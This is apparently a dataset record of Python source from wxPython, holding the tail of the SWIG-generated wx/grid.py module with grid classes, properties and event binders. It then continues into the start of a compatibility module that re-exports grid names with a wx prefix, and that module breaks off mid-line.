**kwargs)\n\n def SetScrollLineY(*args, **kwargs):\n \"\"\"SetScrollLineY(self, int y)\"\"\"\n return _grid.Grid_SetScrollLineY(*args, **kwargs)\n\n def GetScrollLineX(*args, **kwargs):\n \"\"\"GetScrollLineX(self) -> int\"\"\"\n return _grid.Grid_GetScrollLineX(*args, **kwargs)\n\n def GetScrollLineY(*args, **kwargs):\n \"\"\"GetScrollLineY(self) -> int\"\"\"\n return _grid.Grid_GetScrollLineY(*args, **kwargs)\n\n def GetScrollX(*args, **kwargs):\n \"\"\"GetScrollX(self, int x) -> int\"\"\"\n return _grid.Grid_GetScrollX(*args, **kwargs)\n\n def GetScrollY(*args, **kwargs):\n \"\"\"GetScrollY(self, int y) -> int\"\"\"\n return _grid.Grid_GetScrollY(*args, **kwargs)\n\n def GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _grid.Grid_GetClassDefaultAttributes(*args, **kwargs)\n\n GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)\n BatchCount = property(GetBatchCount,doc=\"See `GetBatchCount`\") \n CellHighlightColour = property(GetCellHighlightColour,SetCellHighlightColour,doc=\"See `GetCellHighlightColour` and `SetCellHighlightColour`\") \n CellHighlightPenWidth = property(GetCellHighlightPenWidth,SetCellHighlightPenWidth,doc=\"See `GetCellHighlightPenWidth` and `SetCellHighlightPenWidth`\") \n CellHighlightROPenWidth = property(GetCellHighlightROPenWidth,SetCellHighlightROPenWidth,doc=\"See `GetCellHighlightROPenWidth` and `SetCellHighlightROPenWidth`\") \n CellSize = property(GetCellSize,SetCellSize,doc=\"See `GetCellSize` and `SetCellSize`\") \n ColLabelAlignment = property(GetColLabelAlignment,SetColLabelAlignment,doc=\"See `GetColLabelAlignment` and `SetColLabelAlignment`\") \n ColLabelSize = property(GetColLabelSize,SetColLabelSize,doc=\"See `GetColLabelSize` and `SetColLabelSize`\") \n ColLabelTextOrientation = property(GetColLabelTextOrientation,SetColLabelTextOrientation,doc=\"See `GetColLabelTextOrientation` and `SetColLabelTextOrientation`\") \n ColMinimalAcceptableWidth = property(GetColMinimalAcceptableWidth,SetColMinimalAcceptableWidth,doc=\"See `GetColMinimalAcceptableWidth` and `SetColMinimalAcceptableWidth`\") \n DefaultCellAlignment = property(GetDefaultCellAlignment,SetDefaultCellAlignment,doc=\"See `GetDefaultCellAlignment` and `SetDefaultCellAlignment`\") \n DefaultCellBackgroundColour = property(GetDefaultCellBackgroundColour,SetDefaultCellBackgroundColour,doc=\"See `GetDefaultCellBackgroundColour` and `SetDefaultCellBackgroundColour`\") \n DefaultCellFont = property(GetDefaultCellFont,SetDefaultCellFont,doc=\"See `GetDefaultCellFont` and `SetDefaultCellFont`\") \n DefaultCellOverflow = property(GetDefaultCellOverflow,SetDefaultCellOverflow,doc=\"See `GetDefaultCellOverflow` and `SetDefaultCellOverflow`\") \n DefaultCellTextColour = property(GetDefaultCellTextColour,SetDefaultCellTextColour,doc=\"See `GetDefaultCellTextColour` and `SetDefaultCellTextColour`\") \n DefaultColLabelSize = property(GetDefaultColLabelSize,doc=\"See `GetDefaultColLabelSize`\") \n DefaultColSize = property(GetDefaultColSize,SetDefaultColSize,doc=\"See `GetDefaultColSize` and `SetDefaultColSize`\") \n DefaultEditor = property(GetDefaultEditor,SetDefaultEditor,doc=\"See `GetDefaultEditor` and `SetDefaultEditor`\") \n DefaultGridLinePen = property(GetDefaultGridLinePen,doc=\"See `GetDefaultGridLinePen`\") \n DefaultRenderer = property(GetDefaultRenderer,SetDefaultRenderer,doc=\"See `GetDefaultRenderer` and `SetDefaultRenderer`\") \n DefaultRowLabelSize = property(GetDefaultRowLabelSize,doc=\"See `GetDefaultRowLabelSize`\") \n DefaultRowSize = property(GetDefaultRowSize,SetDefaultRowSize,doc=\"See `GetDefaultRowSize` and `SetDefaultRowSize`\") \n GridColLabelWindow = property(GetGridColLabelWindow,doc=\"See `GetGridColLabelWindow`\") \n GridCornerLabelWindow = property(GetGridCornerLabelWindow,doc=\"See `GetGridCornerLabelWindow`\") \n GridCursorCol = property(GetGridCursorCol,doc=\"See `GetGridCursorCol`\") \n GridCursorRow = property(GetGridCursorRow,doc=\"See `GetGridCursorRow`\") \n GridLineColour = property(GetGridLineColour,SetGridLineColour,doc=\"See `GetGridLineColour` and `SetGridLineColour`\") \n GridRowLabelWindow = property(GetGridRowLabelWindow,doc=\"See `GetGridRowLabelWindow`\") \n GridWindow = property(GetGridWindow,doc=\"See `GetGridWindow`\") \n LabelBackgroundColour = property(GetLabelBackgroundColour,SetLabelBackgroundColour,doc=\"See `GetLabelBackgroundColour` and `SetLabelBackgroundColour`\") \n LabelFont = property(GetLabelFont,SetLabelFont,doc=\"See `GetLabelFont` and `SetLabelFont`\") \n LabelTextColour = property(GetLabelTextColour,SetLabelTextColour,doc=\"See `GetLabelTextColour` and `SetLabelTextColour`\") \n NumberCols = property(GetNumberCols,doc=\"See `GetNumberCols`\") \n NumberRows = property(GetNumberRows,doc=\"See `GetNumberRows`\") \n RowLabelAlignment = property(GetRowLabelAlignment,SetRowLabelAlignment,doc=\"See `GetRowLabelAlignment` and `SetRowLabelAlignment`\") \n RowLabelSize = property(GetRowLabelSize,SetRowLabelSize,doc=\"See `GetRowLabelSize` and `SetRowLabelSize`\") \n RowMinimalAcceptableHeight = property(GetRowMinimalAcceptableHeight,SetRowMinimalAcceptableHeight,doc=\"See `GetRowMinimalAcceptableHeight` and `SetRowMinimalAcceptableHeight`\") \n ScrollLineX = property(GetScrollLineX,SetScrollLineX,doc=\"See `GetScrollLineX` and `SetScrollLineX`\") \n ScrollLineY = property(GetScrollLineY,SetScrollLineY,doc=\"See `GetScrollLineY` and `SetScrollLineY`\") \n SelectedCells = property(GetSelectedCells,doc=\"See `GetSelectedCells`\") \n SelectedCols = property(GetSelectedCols,doc=\"See `GetSelectedCols`\") \n SelectedRows = property(GetSelectedRows,doc=\"See `GetSelectedRows`\") \n SelectionBackground = property(GetSelectionBackground,SetSelectionBackground,doc=\"See `GetSelectionBackground` and `SetSelectionBackground`\") \n SelectionBlockBottomRight = property(GetSelectionBlockBottomRight,doc=\"See `GetSelectionBlockBottomRight`\") \n SelectionBlockTopLeft = property(GetSelectionBlockTopLeft,doc=\"See `GetSelectionBlockTopLeft`\") \n SelectionForeground = property(GetSelectionForeground,SetSelectionForeground,doc=\"See `GetSelectionForeground` and `SetSelectionForeground`\") \n SelectionMode = property(GetSelectionMode,SetSelectionMode,doc=\"See `GetSelectionMode` and `SetSelectionMode`\") \n Table = property(GetTable,SetTable,doc=\"See `GetTable` and `SetTable`\") \n_grid.Grid_swigregister(Grid)\n\ndef PreGrid(*args, **kwargs):\n \"\"\"PreGrid() -> Grid\"\"\"\n val = _grid.new_PreGrid(*args, **kwargs)\n return val\n\ndef Grid_GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n Grid_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _grid.Grid_GetClassDefaultAttributes(*args, **kwargs)\n\nclass GridEvent(_core.NotifyEvent):\n \"\"\"Proxy of C++ GridEvent class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, int id, EventType type, Grid obj, int row=-1, int col=-1, \n int x=-1, int y=-1, bool sel=True, bool control=False, \n bool shift=False, bool alt=False, \n bool meta=False) -> GridEvent\n \"\"\"\n _grid.GridEvent_swiginit(self,_grid.new_GridEvent(*args, **kwargs))\n def GetRow(*args, **kwargs):\n \"\"\"GetRow(self) -> int\"\"\"\n return _grid.GridEvent_GetRow(*args, **kwargs)\n\n def GetCol(*args, **kwargs):\n \"\"\"GetCol(self) -> int\"\"\"\n return _grid.GridEvent_GetCol(*args, **kwargs)\n\n def GetPosition(*args, **kwargs):\n \"\"\"GetPosition(self) -> Point\"\"\"\n return _grid.GridEvent_GetPosition(*args, **kwargs)\n\n def Selecting(*args, **kwargs):\n \"\"\"Selecting(self) -> bool\"\"\"\n return _grid.GridEvent_Selecting(*args, **kwargs)\n\n def ControlDown(*args, **kwargs):\n \"\"\"ControlDown(self) -> bool\"\"\"\n return _grid.GridEvent_ControlDown(*args, **kwargs)\n\n def MetaDown(*args, **kwargs):\n \"\"\"MetaDown(self) -> bool\"\"\"\n return _grid.GridEvent_MetaDown(*args, **kwargs)\n\n def ShiftDown(*args, **kwargs):\n \"\"\"ShiftDown(self) -> bool\"\"\"\n return _grid.GridEvent_ShiftDown(*args, **kwargs)\n\n def AltDown(*args, **kwargs):\n \"\"\"AltDown(self) -> bool\"\"\"\n return _grid.GridEvent_AltDown(*args, **kwargs)\n\n def CmdDown(*args, **kwargs):\n \"\"\"CmdDown(self) -> bool\"\"\"\n return _grid.GridEvent_CmdDown(*args, **kwargs)\n\n Col = property(GetCol,doc=\"See `GetCol`\") \n Position = property(GetPosition,doc=\"See `GetPosition`\") \n Row = property(GetRow,doc=\"See `GetRow`\") \n_grid.GridEvent_swigregister(GridEvent)\n\nclass GridSizeEvent(_core.NotifyEvent):\n \"\"\"Proxy of C++ GridSizeEvent class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, int id, EventType type, Grid obj, int rowOrCol=-1, \n int x=-1, int y=-1, bool control=False, bool shift=False, \n bool alt=False, bool meta=False) -> GridSizeEvent\n \"\"\"\n _grid.GridSizeEvent_swiginit(self,_grid.new_GridSizeEvent(*args, **kwargs))\n def GetRowOrCol(*args, **kwargs):\n \"\"\"GetRowOrCol(self) -> int\"\"\"\n return _grid.GridSizeEvent_GetRowOrCol(*args, **kwargs)\n\n def GetPosition(*args, **kwargs):\n \"\"\"GetPosition(self) -> Point\"\"\"\n return _grid.GridSizeEvent_GetPosition(*args, **kwargs)\n\n def ControlDown(*args, **kwargs):\n \"\"\"ControlDown(self) -> bool\"\"\"\n return _grid.GridSizeEvent_ControlDown(*args, **kwargs)\n\n def MetaDown(*args, **kwargs):\n \"\"\"MetaDown(self) -> bool\"\"\"\n return _grid.GridSizeEvent_MetaDown(*args, **kwargs)\n\n def ShiftDown(*args, **kwargs):\n \"\"\"ShiftDown(self) -> bool\"\"\"\n return _grid.GridSizeEvent_ShiftDown(*args, **kwargs)\n\n def AltDown(*args, **kwargs):\n \"\"\"AltDown(self) -> bool\"\"\"\n return _grid.GridSizeEvent_AltDown(*args, **kwargs)\n\n def CmdDown(*args, **kwargs):\n \"\"\"CmdDown(self) -> bool\"\"\"\n return _grid.GridSizeEvent_CmdDown(*args, **kwargs)\n\n Position = property(GetPosition,doc=\"See `GetPosition`\") \n RowOrCol = property(GetRowOrCol,doc=\"See `GetRowOrCol`\") \n_grid.GridSizeEvent_swigregister(GridSizeEvent)\n\nclass GridRangeSelectEvent(_core.NotifyEvent):\n \"\"\"Proxy of C++ GridRangeSelectEvent class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, int id, EventType type, Grid obj, GridCellCoords topLeft, \n GridCellCoords bottomRight, bool sel=True, \n bool control=False, bool shift=False, bool alt=False, \n bool meta=False) -> GridRangeSelectEvent\n \"\"\"\n _grid.GridRangeSelectEvent_swiginit(self,_grid.new_GridRangeSelectEvent(*args, **kwargs))\n def GetTopLeftCoords(*args, **kwargs):\n \"\"\"GetTopLeftCoords(self) -> GridCellCoords\"\"\"\n return _grid.GridRangeSelectEvent_GetTopLeftCoords(*args, **kwargs)\n\n def GetBottomRightCoords(*args, **kwargs):\n \"\"\"GetBottomRightCoords(self) -> GridCellCoords\"\"\"\n return _grid.GridRangeSelectEvent_GetBottomRightCoords(*args, **kwargs)\n\n def GetTopRow(*args, **kwargs):\n \"\"\"GetTopRow(self) -> int\"\"\"\n return _grid.GridRangeSelectEvent_GetTopRow(*args, **kwargs)\n\n def GetBottomRow(*args, **kwargs):\n \"\"\"GetBottomRow(self) -> int\"\"\"\n return _grid.GridRangeSelectEvent_GetBottomRow(*args, **kwargs)\n\n def GetLeftCol(*args, **kwargs):\n \"\"\"GetLeftCol(self) -> int\"\"\"\n return _grid.GridRangeSelectEvent_GetLeftCol(*args, **kwargs)\n\n def GetRightCol(*args, **kwargs):\n \"\"\"GetRightCol(self) -> int\"\"\"\n return _grid.GridRangeSelectEvent_GetRightCol(*args, **kwargs)\n\n def Selecting(*args, **kwargs):\n \"\"\"Selecting(self) -> bool\"\"\"\n return _grid.GridRangeSelectEvent_Selecting(*args, **kwargs)\n\n def ControlDown(*args, **kwargs):\n \"\"\"ControlDown(self) -> bool\"\"\"\n return _grid.GridRangeSelectEvent_ControlDown(*args, **kwargs)\n\n def MetaDown(*args, **kwargs):\n \"\"\"MetaDown(self) -> bool\"\"\"\n return _grid.GridRangeSelectEvent_MetaDown(*args, **kwargs)\n\n def ShiftDown(*args, **kwargs):\n \"\"\"ShiftDown(self) -> bool\"\"\"\n return _grid.GridRangeSelectEvent_ShiftDown(*args, **kwargs)\n\n def AltDown(*args, **kwargs):\n \"\"\"AltDown(self) -> bool\"\"\"\n return _grid.GridRangeSelectEvent_AltDown(*args, **kwargs)\n\n def CmdDown(*args, **kwargs):\n \"\"\"CmdDown(self) -> bool\"\"\"\n return _grid.GridRangeSelectEvent_CmdDown(*args, **kwargs)\n\n BottomRightCoords = property(GetBottomRightCoords,doc=\"See `GetBottomRightCoords`\") \n BottomRow = property(GetBottomRow,doc=\"See `GetBottomRow`\") \n LeftCol = property(GetLeftCol,doc=\"See `GetLeftCol`\") \n RightCol = property(GetRightCol,doc=\"See `GetRightCol`\") \n TopLeftCoords = property(GetTopLeftCoords,doc=\"See `GetTopLeftCoords`\") \n TopRow = property(GetTopRow,doc=\"See `GetTopRow`\") \n_grid.GridRangeSelectEvent_swigregister(GridRangeSelectEvent)\n\nclass GridEditorCreatedEvent(_core.CommandEvent):\n \"\"\"Proxy of C++ GridEditorCreatedEvent class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, int id, EventType type, Object obj, int row, int col, \n Control ctrl) -> GridEditorCreatedEvent\n \"\"\"\n _grid.GridEditorCreatedEvent_swiginit(self,_grid.new_GridEditorCreatedEvent(*args, **kwargs))\n def GetRow(*args, **kwargs):\n \"\"\"GetRow(self) -> int\"\"\"\n return _grid.GridEditorCreatedEvent_GetRow(*args, **kwargs)\n\n def GetCol(*args, **kwargs):\n \"\"\"GetCol(self) -> int\"\"\"\n return _grid.GridEditorCreatedEvent_GetCol(*args, **kwargs)\n\n def GetControl(*args, **kwargs):\n \"\"\"GetControl(self) -> Control\"\"\"\n return _grid.GridEditorCreatedEvent_GetControl(*args, **kwargs)\n\n def SetRow(*args, **kwargs):\n \"\"\"SetRow(self, int row)\"\"\"\n return _grid.GridEditorCreatedEvent_SetRow(*args, **kwargs)\n\n def SetCol(*args, **kwargs):\n \"\"\"SetCol(self, int col)\"\"\"\n return _grid.GridEditorCreatedEvent_SetCol(*args, **kwargs)\n\n def SetControl(*args, **kwargs):\n \"\"\"SetControl(self, Control ctrl)\"\"\"\n return _grid.GridEditorCreatedEvent_SetControl(*args, **kwargs)\n\n Col = property(GetCol,SetCol,doc=\"See `GetCol` and `SetCol`\") \n Control = property(GetControl,SetControl,doc=\"See `GetControl` and `SetControl`\") \n Row = property(GetRow,SetRow,doc=\"See `GetRow` and `SetRow`\") \n_grid.GridEditorCreatedEvent_swigregister(GridEditorCreatedEvent)\n\nwxEVT_GRID_CELL_LEFT_CLICK = _grid.wxEVT_GRID_CELL_LEFT_CLICK\nwxEVT_GRID_CELL_RIGHT_CLICK = _grid.wxEVT_GRID_CELL_RIGHT_CLICK\nwxEVT_GRID_CELL_LEFT_DCLICK = _grid.wxEVT_GRID_CELL_LEFT_DCLICK\nwxEVT_GRID_CELL_RIGHT_DCLICK = _grid.wxEVT_GRID_CELL_RIGHT_DCLICK\nwxEVT_GRID_LABEL_LEFT_CLICK = _grid.wxEVT_GRID_LABEL_LEFT_CLICK\nwxEVT_GRID_LABEL_RIGHT_CLICK = _grid.wxEVT_GRID_LABEL_RIGHT_CLICK\nwxEVT_GRID_LABEL_LEFT_DCLICK = _grid.wxEVT_GRID_LABEL_LEFT_DCLICK\nwxEVT_GRID_LABEL_RIGHT_DCLICK = _grid.wxEVT_GRID_LABEL_RIGHT_DCLICK\nwxEVT_GRID_ROW_SIZE = _grid.wxEVT_GRID_ROW_SIZE\nwxEVT_GRID_COL_SIZE = _grid.wxEVT_GRID_COL_SIZE\nwxEVT_GRID_RANGE_SELECT = _grid.wxEVT_GRID_RANGE_SELECT\nwxEVT_GRID_CELL_CHANGE = _grid.wxEVT_GRID_CELL_CHANGE\nwxEVT_GRID_SELECT_CELL = _grid.wxEVT_GRID_SELECT_CELL\nwxEVT_GRID_EDITOR_SHOWN = _grid.wxEVT_GRID_EDITOR_SHOWN\nwxEVT_GRID_EDITOR_HIDDEN = _grid.wxEVT_GRID_EDITOR_HIDDEN\nwxEVT_GRID_EDITOR_CREATED = _grid.wxEVT_GRID_EDITOR_CREATED\nwxEVT_GRID_CELL_BEGIN_DRAG = _grid.wxEVT_GRID_CELL_BEGIN_DRAG\nwxEVT_GRID_COL_MOVE = _grid.wxEVT_GRID_COL_MOVE\nEVT_GRID_CELL_LEFT_CLICK = wx.PyEventBinder( wxEVT_GRID_CELL_LEFT_CLICK )\nEVT_GRID_CELL_RIGHT_CLICK = wx.PyEventBinder( wxEVT_GRID_CELL_RIGHT_CLICK )\nEVT_GRID_CELL_LEFT_DCLICK = wx.PyEventBinder( wxEVT_GRID_CELL_LEFT_DCLICK )\nEVT_GRID_CELL_RIGHT_DCLICK = wx.PyEventBinder( wxEVT_GRID_CELL_RIGHT_DCLICK )\nEVT_GRID_LABEL_LEFT_CLICK = wx.PyEventBinder( wxEVT_GRID_LABEL_LEFT_CLICK )\nEVT_GRID_LABEL_RIGHT_CLICK = wx.PyEventBinder( wxEVT_GRID_LABEL_RIGHT_CLICK )\nEVT_GRID_LABEL_LEFT_DCLICK = wx.PyEventBinder( wxEVT_GRID_LABEL_LEFT_DCLICK )\nEVT_GRID_LABEL_RIGHT_DCLICK = wx.PyEventBinder( wxEVT_GRID_LABEL_RIGHT_DCLICK )\nEVT_GRID_ROW_SIZE = wx.PyEventBinder( wxEVT_GRID_ROW_SIZE )\nEVT_GRID_COL_SIZE = wx.PyEventBinder( wxEVT_GRID_COL_SIZE )\nEVT_GRID_RANGE_SELECT = wx.PyEventBinder( wxEVT_GRID_RANGE_SELECT )\nEVT_GRID_CELL_CHANGE = wx.PyEventBinder( wxEVT_GRID_CELL_CHANGE )\nEVT_GRID_SELECT_CELL = wx.PyEventBinder( wxEVT_GRID_SELECT_CELL )\nEVT_GRID_EDITOR_SHOWN = wx.PyEventBinder( wxEVT_GRID_EDITOR_SHOWN )\nEVT_GRID_EDITOR_HIDDEN = wx.PyEventBinder( wxEVT_GRID_EDITOR_HIDDEN )\nEVT_GRID_EDITOR_CREATED = wx.PyEventBinder( wxEVT_GRID_EDITOR_CREATED )\nEVT_GRID_CELL_BEGIN_DRAG = wx.PyEventBinder( wxEVT_GRID_CELL_BEGIN_DRAG )\nEVT_GRID_COL_MOVE = wx.PyEventBinder( wxEVT_GRID_COL_MOVE )\n\n# The same as above but with the ability to specify an identifier\nEVT_GRID_CMD_CELL_LEFT_CLICK = wx.PyEventBinder( wxEVT_GRID_CELL_LEFT_CLICK, 1 )\nEVT_GRID_CMD_CELL_RIGHT_CLICK = wx.PyEventBinder( wxEVT_GRID_CELL_RIGHT_CLICK, 1 )\nEVT_GRID_CMD_CELL_LEFT_DCLICK = wx.PyEventBinder( wxEVT_GRID_CELL_LEFT_DCLICK, 1 )\nEVT_GRID_CMD_CELL_RIGHT_DCLICK = wx.PyEventBinder( wxEVT_GRID_CELL_RIGHT_DCLICK, 1 )\nEVT_GRID_CMD_LABEL_LEFT_CLICK = wx.PyEventBinder( wxEVT_GRID_LABEL_LEFT_CLICK, 1 )\nEVT_GRID_CMD_LABEL_RIGHT_CLICK = wx.PyEventBinder( wxEVT_GRID_LABEL_RIGHT_CLICK, 1 )\nEVT_GRID_CMD_LABEL_LEFT_DCLICK = wx.PyEventBinder( wxEVT_GRID_LABEL_LEFT_DCLICK, 1 )\nEVT_GRID_CMD_LABEL_RIGHT_DCLICK = wx.PyEventBinder( wxEVT_GRID_LABEL_RIGHT_DCLICK, 1 )\nEVT_GRID_CMD_ROW_SIZE = wx.PyEventBinder( wxEVT_GRID_ROW_SIZE, 1 )\nEVT_GRID_CMD_COL_SIZE = wx.PyEventBinder( wxEVT_GRID_COL_SIZE, 1 )\nEVT_GRID_CMD_RANGE_SELECT = wx.PyEventBinder( wxEVT_GRID_RANGE_SELECT, 1 )\nEVT_GRID_CMD_CELL_CHANGE = wx.PyEventBinder( wxEVT_GRID_CELL_CHANGE, 1 )\nEVT_GRID_CMD_SELECT_CELL = wx.PyEventBinder( wxEVT_GRID_SELECT_CELL, 1 )\nEVT_GRID_CMD_EDITOR_SHOWN = wx.PyEventBinder( wxEVT_GRID_EDITOR_SHOWN, 1 )\nEVT_GRID_CMD_EDITOR_HIDDEN = wx.PyEventBinder( wxEVT_GRID_EDITOR_HIDDEN, 1 )\nEVT_GRID_CMD_EDITOR_CREATED = wx.PyEventBinder( wxEVT_GRID_EDITOR_CREATED, 1 )\nEVT_GRID_CMD_CELL_BEGIN_DRAG = wx.PyEventBinder( wxEVT_GRID_CELL_BEGIN_DRAG, 1 )\nEVT_GRID_CMD_COL_MOVE = wx.PyEventBinder( wxEVT_GRID_COL_MOVE, 1 )\n \n\n\n\n", "id": "10396052", "language": "Python", "matching_score": 7.173348426818848, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/grid.py" }, { "content": "## This file reverse renames symbols in the wx package to give\n## them their wx prefix again, for backwards compatibility.\n##\n## Generated by BuildRenamers in config.py\n\n# This silly stuff here is so the wxPython.wx module doesn't conflict\n# with the wx package. We need to import modules from the wx package\n# here, then we'll put the wxPython.wx entry back in sys.modules.\nimport sys\n_wx = None\nif sys.modules.has_key('wxPython.wx'):\n _wx = sys.modules['wxPython.wx']\n del sys.modules['wxPython.wx']\n\nimport wx.grid\n\nsys.modules['wxPython.wx'] = _wx\ndel sys, _wx\n\n\n# Now assign all the reverse-renamed names:\nwxGRID_VALUE_STRING = wx.grid.GRID_VALUE_STRING\nwxGRID_VALUE_BOOL = wx.grid.GRID_VALUE_BOOL\nwxGRID_VALUE_NUMBER = wx.grid.GRID_VALUE_NUMBER\nwxGRID_VALUE_FLOAT = wx.grid.GRID_VALUE_FLOAT\nwxGRID_VALUE_CHOICE = wx.grid.GRID_VALUE_CHOICE\nwxGRID_VALUE_TEXT = wx.grid.GRID_VALUE_TEXT\nwxGRID_VALUE_LONG = wx.grid.GRID_VALUE_LONG\nwxGRID_VALUE_CHOICEINT = wx.grid.GRID_VALUE_CHOICEINT\nwxGRID_VALUE_DATETIME = wx.grid.GRID_VALUE_DATETIME\nwxGridNoCellCoords = wx.grid.GridNoCellCoords\nwxGridNoCellRect = wx.grid.GridNoCellRect\nwxGRID_DEFAULT_NUMBER_ROWS = wx.grid.GRID_DEFAULT_NUMBER_ROWS\nwxGRID_DEFAULT_NUMBER_COLS = wx.grid.GRID_DEFAULT_NUMBER_COLS\nwxGRID_DEFAULT_ROW_HEIGHT = wx.grid.GRID_DEFAULT_ROW_HEIGHT\nwxGRID_DEFAULT_COL_WIDTH = wx.grid.GRID_DEFAULT_COL_WIDTH\nwxGRID_DEFAULT_COL_LABEL_HEIGHT = wx.grid.GRID_DEFAULT_COL_LABEL_HEIGHT\nwxGRID_DEFAULT_ROW_LABEL_WIDTH = wx.grid.GRID_DEFAULT_ROW_LABEL_WIDTH\nwxGRID_LABEL_EDGE_ZONE = wx.grid.GRID_LABEL_EDGE_ZONE\nwxGRID_MIN_ROW_HEIGHT = wx.grid.GRID_MIN_ROW_HEIGHT\nwxGRID_MIN_COL_WIDTH = wx.grid.GRID_MIN_COL_WIDTH\nwxGRID_DEFAULT_SCROLLBAR_WIDTH = wx.grid.GRID_DEFAULT_SCROLLBAR_WIDTH\nwxGridCellWorker = wx.grid.GridCellWorker\nwxGridCellRenderer = wx.grid.GridCellRenderer\nwxPyGridCellRenderer = wx.grid.PyGridCellRenderer\nwxGridCellStringRenderer = wx.grid.GridCellStringRenderer\nwxGridCellNumberRenderer = wx.grid.GridCellNumberRenderer\nwxGridCellFloatRenderer = wx.grid.GridCellFloatRenderer\nwxGridCellBoolRenderer = wx.grid.GridCellBoolRenderer\nwxGridCellDateTimeRenderer = wx.grid.GridCellDateTimeRenderer\nwxGridCellEnumRenderer = wx.grid.GridCellEnumRenderer\nwxGridCellAutoWrapStringRenderer = wx.grid.GridCellAutoWrapStringRenderer\nwxGridCellEditor = wx.grid.GridCellEditor\nwxPyGridCellEditor = wx.grid.PyGridCellEditor\nwxGridCellTextEditor = wx.grid.GridCellTextEditor\nwxGridCellNumberEditor = wx.grid.GridCellNumberEditor\nwxGridCellFloatEditor = wx.grid.GridCellFloatEditor\nwxGridCellBoolEditor = wx.grid.GridCellBoolEditor\nwxGridCellChoiceEditor = wx.grid.GridCellChoiceEditor\nwxGridCellEnumEditor = wx.grid.GridCellEnumEditor\nwxGridCellAutoWrapStringEditor = wx.grid.GridCellAutoWrapStringEditor\nwxGridCellAttr = wx.grid.GridCellAttr\nwxGridCellAttrProvider = wx.grid.GridCellAttrProvider\nwxPyGridCellAttrProvider = wx.grid.PyGridCellAttrProvider\nwxGridTableBase = wx.grid.GridTableBase\nwxPyGridTableBase = wx.grid.PyGridTableBase\nwxGridStringTable = wx.grid.GridStringTable\nwxGRIDTABLE_REQUEST_VIEW_GET_VALUES = wx.grid.GRIDTABLE_REQUEST_VIEW_GET_VALUES\nwxGRIDTABLE_REQUEST_VIEW_SEND_VALUES = wx.grid.GRIDTABLE_REQUEST_VIEW_SEND_VALUES\nwxGRIDTABLE_NOTIFY_ROWS_INSERTED = wx.grid.GRIDTABLE_NOTIFY_ROWS_INSERTED\nwxGRIDTABLE_NOTIFY_ROWS_APPENDED = wx.grid.GRIDTABLE_NOTIFY_ROWS_APPENDED\nwxGRIDTABLE_NOTIFY_ROWS_DELETED = wx.grid.GRIDTABLE_NOTIFY_ROWS_DELETED\nwxGRIDTABLE_NOTIFY_COLS_INSERTED = wx.grid.GRIDTABLE_NOTIFY_COLS_INSERTED\nwxGRIDTABLE_NOTIFY_COLS_APPENDED = wx.grid.GRIDTABLE_NOTIFY_COLS_APPENDED\nwxGRIDTABLE_NOTIFY_COLS_DELETED = wx.grid.GRIDTABLE_NOTIFY_COLS_DELETED\nwxGridTableMessage = wx.grid.GridTableMessage\nwxGridCellCoords = wx.grid.GridCellCoords\nwxGrid = wx.grid.Grid\nwxPreGrid = wx.grid.PreGrid\nwxGrid_GetClassDefaultAttributes = wx.grid.Grid_GetClassDefaultAttributes\nwxGridEvent = wx.grid.GridEvent\nwxGridSizeEvent = wx.grid.GridSizeEvent\nwxGridRangeSelectEvent = wx.grid.GridRangeSelectEvent\nwxGridEditorCreatedEvent = wx.grid.GridEditorCreatedEvent\nwxEVT_GRID_CELL_LEFT_CLICK = wx.grid.wxEVT_GRID_CELL_LEFT_CLICK\nwxEVT_GRID_CELL_RIGHT_CLICK = wx.grid.wxEVT_GRID_CELL_RIGHT_CLICK\nwxEVT_GRID_CELL_LEFT_DCLICK = wx.grid.wxEVT_GRID_CELL_LEFT_DCLICK\nwxEVT_GRID_CELL_RIGHT_DCLICK = wx.grid.wxEVT_GRID_CELL_RIGHT_DCLICK\nwxEVT_GRID_LABEL_LEFT_CLICK = wx.grid.wxEVT_GRID_LABEL_LEFT_CLICK\nwxEVT_GRID_LABEL_RIGHT_CLICK = wx.grid.wxEVT_GRID_LABEL_RIGHT_CLICK\nwxEVT_GRID_LABEL_LEFT_DCLICK = wx.grid.wxEVT_GRID_LABEL_LEFT_DCLICK\nwxEVT_GRID_LABEL_RIGHT_DCLICK = wx.grid.wxEVT_GRID_LABEL_RIGHT_DCLICK\nwxEVT_GRID_ROW_SIZE = wx.grid.wxEVT_GRID_ROW_SIZE\nwxEVT_GRID_COL_SIZE = wx.grid.wxEVT_GRID_COL_SIZE\nwxEVT_GRID_RANGE_SELECT = wx.grid.wxEVT_GRID_RANGE_SELECT\nwxEVT_GRID_CELL_CHANGE = wx.grid.wxEVT_GRID_CELL_CHANGE\nwxEVT_GRID_SELECT_CELL = wx.grid.wxEVT_GRID_SELECT_CELL\nwxEVT_GRID_EDITOR_SHOWN = 